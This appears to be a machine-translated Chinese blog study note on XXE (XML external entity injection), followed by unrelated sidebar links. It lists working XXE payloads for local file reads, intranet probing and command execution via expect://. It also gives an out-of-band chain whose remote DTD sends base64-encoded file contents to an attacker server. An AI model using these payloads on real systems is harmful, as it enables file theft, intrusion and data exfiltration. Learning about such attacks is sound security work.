当前位置:网站首页>XxE & XML vulnerability
XxE & XML vulnerability
2022-07-27 08:11:00 【weixin_ fifty-three million one hundred and fifty thousand four】
List of articles
Weekly learning summary link
I remember there was a level before that was this loophole , But I forgot
One 、XXE Loophole
XXE Full name of loophole XML External Entity Injection namely xml External entity injection vulnerability ,XXE The vulnerability is in application parsing XML When the input , Loading of external entities is not prohibited , Causes a malicious external file to load , Cause file read 、 Command execution 、 Intranet port scan 、 Attack intranet sites 、 launch dos Attack, etc .xxe Vulnerability trigger point is often upload xml The location of the file , No upload of xml File filtering , Result in uploadable malicious xml file .
In practice, we may not know how to find this vulnerability , In fact, it's very simple. Just grab a packet and see if the data style is XML Grammar is fine
Two 、XML Learning from
There is really nothing to say about this , If you can't do this , I doubt your ability
3、 ... and 、DTD
When I studied development before , I haven't seen , Advice to see ,
The article links
Four 、 Attack ideas
Reading documents
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///d://test.txt"> ]> <x>&xxe;</x>Intranet probe or attack intranet application ( Trigger vulnerability address )
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" > ]> <x>&rabbit;</x>RCE The CASE It's installing expect Extended PHP Executing system commands in the environment
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://id" > ]> <x>&xxe;</x>Introducing external entities dtd
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <x>&send;</x> evil2.dtd: <!ENTITY send SYSTEM "file:///d:/test.txt">No echo – Read the file
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt"> <!ENTITY % dtd SYSTEM "http:// long-range :8081/test.dtd"> %dtd; %send; ]>Create corresponding files on your own server , Make the target server access its own server , View information from logs
test.dtd:<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>" > %payload;agreement - Reading documents ( Bypass )
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]> <x>&f;</x>
summary
边栏推荐
- End of year summary
- Plato farm is expected to further expand its ecosystem through elephant swap
- C语言:随机生成数+插入排序
- 物联网工业级UART串口转WiFi转有线网口转以太网网关WiFi模块选型
- A quick overview of transformer quantitative papers in emnlp 2020
- 反弹shell是什么?反弹shell有什么用?
- Design and development of GUI programming for fixed-point one click query
- Shell Scripts相关
- Debug: generic related "unresolved external symbols"
- Things come to conform, the future is not welcome, at that time is not miscellaneous, neither love
猜你喜欢

On data security

API 版本控制【 Eolink 翻译】

Demo:pa30 Bank Country Code default CN enhancement
![[pytorch] resnet18, resnet20, resnet34, resnet50 network structure and Implementation](/img/44/52c7dc6871fd43223eadfd394e159e.png)
[pytorch] resnet18, resnet20, resnet34, resnet50 network structure and Implementation

SETTA 2020 国际学术会议即将召开,欢迎大家参加!

Digital transformation driven by enterprise architecture!

Happy holidays, everyone

自动化测试的使用场景

浅谈数据安全

杂谈:把肉都烂在锅里就是保障学生权益了?
随机推荐
Things come to conform, the future is not welcome, at that time is not miscellaneous, neither love
opengauss从库停掉,发现主库无法写入数据
You may need an additional loader to handle the result of these loaders.
kalibr标定realsenseD435i --多相机标定
redis配置文件下载
Is redis really slowing down?
End of year summary
Dormitory access control system made by imitating the boss (III)
Want the clouds in the picture to float? Video editing services can be achieved in three steps with one click
Lua迭代器
I can't figure out why MySQL uses b+ trees for indexing?
企业架构驱动的数字化转型!
"PHP Basics" uses echo statements to output information
What is a rebound shell? What's the use of bouncing shells?
Lu Xun: I don't remember saying it, or you can check it yourself!
Solid smart contract development - 3.3-solid syntax control structure
3D laser slam: Interpretation of logo-loam paper --- Abstract
Data extraction 2
Leetcode56. Consolidation interval
服务器网络测试的方法